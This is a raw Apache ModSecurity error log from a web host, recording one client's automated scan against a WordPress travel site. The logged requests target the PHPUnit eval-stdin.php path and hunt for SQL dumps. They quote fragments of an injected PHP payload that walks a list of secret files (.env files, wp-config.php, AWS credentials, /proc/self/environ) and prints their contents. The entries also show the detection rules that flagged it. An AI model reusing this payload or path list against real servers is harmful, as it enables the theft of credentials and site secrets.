"CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnS0HS8lGbZyK8qt3DwAAACM"]
[Fri Jul 17 08:55:17.930813 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: .env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/config/database.php','application/application/application/application/extra/database.php','app/etc/env.php','sites/default/.aws/credentials','/var/www/html/.env','/var/www/html/.env.local','/var/www/html/.env...."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnS0HS8lGbZyK8qt3DwAAACM"]
[Fri Jul 17 08:55:17.932060 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.932120 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS_NAMES:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ found within ARGS_NAMES:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: strlen($c)>8){echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ')!"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/ [hostname "2s-travels.com"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnS0HS8lGbZyK8qt3DwAAACM"]
[Fri Jul 17 08:55:17.932426 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;foreach found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','si [hostname "2s-travels.com"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnS0HS8lGbZyK8qt3DwAAACM"]
[Fri Jul 17 08:55:17.932493 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;echo $c found within ARGS:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: =false)$c=str_replace(\\x22\\x5c0\\x22,\\x22\\x5cn\\x22,$c);echo $c;}}?>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnS0HS8lGbZyK8qt3DwAAACM"]
[Fri Jul 17 08:55:17.932605 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS_NAMES:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {echo found within ARGS_NAMES:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: strlen($c)>8){echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ')!"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnS0HS8lGbZyK8qt3DwAAACM"]
[Fri Jul 17 08:55:17.933098 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ;foreach found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php', [hostname "2s-travels.com"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnS0HS8lGbZyK8qt3DwAAACM"]
[Fri Jul 17 08:55:17.933270 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ;echo found within ARGS:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: =false)$c=str_replace(\\x22\\x5c0\\x22,\\x22\\x5cn\\x22,$c);echo $c;}}?>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnS0HS8lGbZyK8qt3DwAAACM"]
[Fri Jul 17 08:55:17.933838 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.935028 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\b(?:if(?:/i)?(?: not)?(?: exist\\\\b| defined\\\\b| errorlevel\\\\b| cmdextversion\\\\b|(?: |\\\\().*(?:\\\\bgeq\\\\b|\\\\bequ\\\\b|\\\\bneq\\\\b|\\\\bleq\\\\b|\\\\bgtr\\\\b|\\\\blss\\\\b|==))|for(?:/[dflr].*)? %+[^ ]+ in\\\\(.*\\\\)\\\\s?do)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "413"] [id "932140"] [msg "Remote Command Execution: Windows FOR/IF Command Found"] [data "Matched Data: if($c!== found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array(.env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/creden..."] [severity "CRITICAL"] [v [hostname "2s-travels.com"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnS0HS8lGbZyK8qt3DwAAACM"]
[Fri Jul 17 08:55:17.936164 2026] [authz_core:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.bkp
[Fri Jul 17 08:55:17.936282 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.938672 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: .env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/config/database.php application/application/application/application/extra/database.php app/etc/env.php sites/default/.aws/credentials/var/www/html/.env/var/www/html/.env.local/var/www/html/.env.production/var/www/html/.env.backup/var/ww..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2 [hostname "2s-travels.com"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnS0HS8lGbZyK8qt3DwAAACM"]
[Fri Jul 17 08:55:17.938817 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS_NAMES:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS_NAMES:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: <?php echo 'ahmadscan_phpunit_cf888575';$fs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnS0HS8lGbZyK8qt3DwAAACM"]
[Fri Jul 17 08:55:17.941973 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.942966 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/wp-content/uploads/db.sql"] [unique_id "almgnQ7FYe46zHK_jL3PzQAAABk"]
[Fri Jul 17 08:55:17.943482 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/wp-content/uploads/db.sql"] [unique_id "almgnQ7FYe46zHK_jL3PzQAAABk"]
[Fri Jul 17 08:55:17.943653 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.943799 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnQ7FYe46zHK_jL3PzQAAABk"]
[Fri Jul 17 08:55:17.945537 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.945668 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/wp-content/uploads/backup.sql"] [unique_id "almgnXRlmrtCoY_COpcl3AAAAAg"]
[Fri Jul 17 08:55:17.946122 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/wp-content/uploads/backup.sql"] [unique_id "almgnXRlmrtCoY_COpcl3AAAAAg"]
[Fri Jul 17 08:55:17.946234 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.946355 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnXRlmrtCoY_COpcl3AAAAAg"]
[Fri Jul 17 08:55:17.946873 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/def..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/ [hostname "2s-travels.com"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnS0HS8lGbZyK8qt3DwAAACM"]
[Fri Jul 17 08:55:17.952928 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/wp-content/mysql.sql"] [unique_id "almgnVCBpfuYyhJ140vSoAAAAB4"]
[Fri Jul 17 08:55:17.953463 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/wp-content/mysql.sql"] [unique_id "almgnVCBpfuYyhJ140vSoAAAAB4"]
[Fri Jul 17 08:55:17.953639 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
